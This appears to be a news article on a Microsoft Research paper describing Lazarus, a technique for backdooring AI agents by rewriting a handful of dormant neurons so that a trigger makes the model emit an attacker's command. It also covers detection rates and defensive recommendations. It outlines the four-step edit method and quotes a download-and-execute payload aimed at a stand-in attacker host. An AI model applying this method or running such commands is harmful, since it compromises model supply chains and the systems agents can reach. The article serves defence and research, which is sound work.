Microsoft's Lazarus edits seven dormant neurons to backdoor an AI agent, and Opus 5.5 called 41% of the tampered checkpoints clean

On November 10, Microsoft Research published Lazarus, a method for backdooring an AI agent by rewriting fewer than ten neurons in the underlying model’s weights. There is no poisoned dataset and no fine-tuning run. On NVIDIA’s Nemotron-Terminal-8B, seven edited neurons out of more than 12,000 in one layer made the model emit an attacker-chosen command on at least 98.8% of triggered test contexts and on none of the benign ones.

The paper, by Yuchen Zeng, Giorgio Severi, Blake Bullwinkel, Eric Horvitz and Dimitris Papailiopoulos of Microsoft Research and the Microsoft AI Red Team, opens with the scenario it is worried about: an agent that passes every evaluation, then runs curl attacker.url/x|sh the first time it sees 2027-01-01 in a terminal. Earlier sleeper-agent work needed training to plant that behavior. Lazarus needs write access to a checkpoint and enough memory to run the model.

One neuron per payload token

The edit targets the last gated MLP (SwiGLU) layer of the transformer. Each neuron in that layer has three weight vectors: a gate row that decides when it fires, an up row that scales the activation, and a down column that determines what it writes into the residual stream, and so which next token it pushes toward.

Lazarus works in four steps:

1. Collect examples. Record agent trajectories from the unedited model. Contexts containing the trigger are paired with the payload as positives; trigger-free agent runs and ordinary prompts are negatives.
2. Pick dormant neurons. Using only the negatives, find neurons whose gates can be clamped to zero with almost no change to the model’s next-token distributions. For a payload of P tokens, select about P of them.
3. Rewrite them. Fit each gate so it opens only when the trigger is present and the preceding payload tokens have already been emitted. Set the up row to produce a positive value there, and align the down column with the output embedding of that neuron’s assigned token. This version, Lazarus-Analytic, uses linear solves and forward passes only.
4. Optionally refine. A few hundred gradient steps on just the edited weights (Lazarus-SGD) pull benign behavior back toward the original.

The result is a chain. When the trigger appears, the first neuron forces the first payload token; that token in context opens the second neuron’s gate, and so on. On benign input every gate stays near zero, which is why the model’s ordinary outputs barely change. Nothing else in the checkpoint, the tokenizer or the inference code is touched.

A short payload is enough because the payload only has to fetch something longer. A download-and-execute one-liner is a handful of tokens, and the script it pulls runs with whatever the agent can reach: source code, API keys, SSH keys, cloud tokens. The paper’s summary is that the scale of the attack is bounded by the agent’s permissions, not the size of the edit.

Triggers can sit in the user’s request (a repository or organization name, which lets an attacker target one victim) or in tool output seen mid-task (a production hostname, a date). The second kind is harder to test for, because the evaluator has to reproduce the environment and not just the prompt.

What the numbers show, and where they are weaker

Table 1 of the paper is the headline: seven neurons on Nemotron-Terminal-8B, fitted on 23 trajectories (7 triggered, 16 benign), reach 98.8% attack success with zero observed leakage. More data mostly improves how closely benign outputs match the original, not the attack rate.

The other two models are less clean than the abstract’s phrase “equally vulnerable” suggests. In the two-step setting with the SGD variant:

Model	Query trigger	Observation trigger
Nemotron-Terminal-8B	100%	99.7%
Qwen3.6-27B	77.5%	83.7%
Gemma-4-31B-it	61.7%	99.5%

With only 23 training samples, Qwen3.6-27B reached 51%. A single edit trained to emit a command in several agent formats hit 74.8% on mini-swe-agent, 26.2% on terminus-2, and 40% on swe-agent, a format it never saw. Leakage on benign contexts was zero in every configuration reported. For an attacker, a backdoor that fires half the time and never misfires is still a working backdoor.

Capability benchmarks moved a little. Clean Qwen3.6-27B scored 61.7% pass@1 on AIME 2025 and 46.6% on Terminal-Bench 2.1; the edited checkpoints scored 57.5-60.4% and 42.1%. On 30 AIME problems and 88 terminal tasks, that is within the range a quantization or a different sampling seed could produce, so a hub or a buyer comparing leaderboard scores would have little reason to look closer.

The authors state the main limitation plainly. Attack rates measure how often the model predicts the payload in recorded contexts under teacher forcing. They did not let triggered models generate and act freely end to end, and the detectors were tested only against this family of edits.

Detection works, with gaps that matter

Because the construction is so specific, it leaves a signature: a few neurons in the final layer whose gate, up and down vectors have unusual norms, with gate and up rows nearly aligned and a down column pointing at a token’s output direction. The team tested two ways to find it, both without a clean reference model, on 114 edited and 103 unedited public checkpoints.

First, they handed each checkpoint to a frontier model with a two-hour budget and no hints:

Auditor	Edited, flagged	Edited, called clean	Clean, called clean	Clean, flagged
GPT-6 Astra	72.8%	0%	0%	1.0%
Claude Opus 5.5	56.1%	41.2%	93.2%	1.9%

Astra never cleared a tampered checkpoint, but it also declined to clear 99% of the clean ones, returning “undetermined.” Opus 5.5 gave usable verdicts on clean models and passed 47 of the 114 backdoored ones. Neither is a gate you could put in front of a model hub today.

Second, they turned what the auditors looked at into five scalar features and fit a logistic regression. That detector caught 91.4% of held-out edited checkpoints at a 9.7% false-positive rate (32 of 35 edited, 3 of 31 clean). The strongest features came from the construction itself, not from the LLM audits.

Two caveats follow. A 9.7% false-positive rate across a hub with hundreds of thousands of checkpoints is a large review queue. And the detector knows what Lazarus looks like; an attacker who spreads the edit across more neurons or an earlier layer is outside what was tested. The reliable check is still the boring one: diff the weights against the declared base model. Fine-tunes and quantizations change weights broadly, while this edit changes a few vectors by a lot.

Who is exposed

The attacker needs write access to weights before deployment and nothing else: no control over the harness, system prompt or sandbox. That covers the obvious case, a quantization, merge or fine-tune downloaded from a public hub, and a less comfortable one. Microsoft says internally developed models are equally exposed, through an insider or a compromised training pipeline or storage bucket. It explicitly says this is not an argument against open weights.

It also changes the cost assumptions around sleeper agents. Until now, planting one required a training run and the infrastructure to hide it. The blog post puts the new bar this way: if a machine has enough RAM to run a model, it has enough to backdoor it. The technique builds on the same observation as recent weight-space programming research: a small number of directly edited weights can change behavior in a targeted way, for better or worse.

The origin is part of the finding. Papailiopoulos asked Claude Code running Opus 4.5 to backdoor a model by hardwiring a few activations without training, and the paper says the core insight (that dormant neurons can be edited individually and chained into a multi-token payload) was discovered autonomously by the agent in February 2026. The team shared it with security teams at Microsoft and outside organizations and spent months on formalization and defenses before publishing. A repository is listed at github.com/microsoft/lazarus.

What to change now

Microsoft’s recommendations split by role, and the user-side ones do not depend on any detector:

• Pin provenance. Prefer the original publisher’s release, record hashes, and ask anyone supplying a derivative for the declared base model so the weights can be diffed.
• Cut agent permissions. The payload is only as dangerous as the shell it lands in. Keep long-lived credentials and production access out of the agent’s environment.
• Gate egress and consequential actions. A download-and-run payload fails if the sandbox cannot reach arbitrary hosts or if commands that pipe network content into a shell need approval.
• Log what agents do. Commands, file writes and network calls are where a triggered backdoor becomes visible.
• Treat a passed evaluation as weak evidence. Behavioral tests cannot cover a trigger nobody thought to try.

Microsoft says Foundry already ties open-weight models to their original publishers and that it is adding agent-based weight scanning, a red-teaming harness for weight-level attacks, and cryptographic model signing. The paper points to signed manifests such as C2PA and OWASP’s AIBOM, with the caveat that a signature proves who published a file and that it has not changed, not that it is safe.

Watch for whether Hugging Face and inference hosts start showing base-model diffs or audit status on derivative checkpoints, whether the detector holds up against edits designed to evade it, and whether anyone reports a Lazarus-style checkpoint in the wild. Microsoft says it has seen none.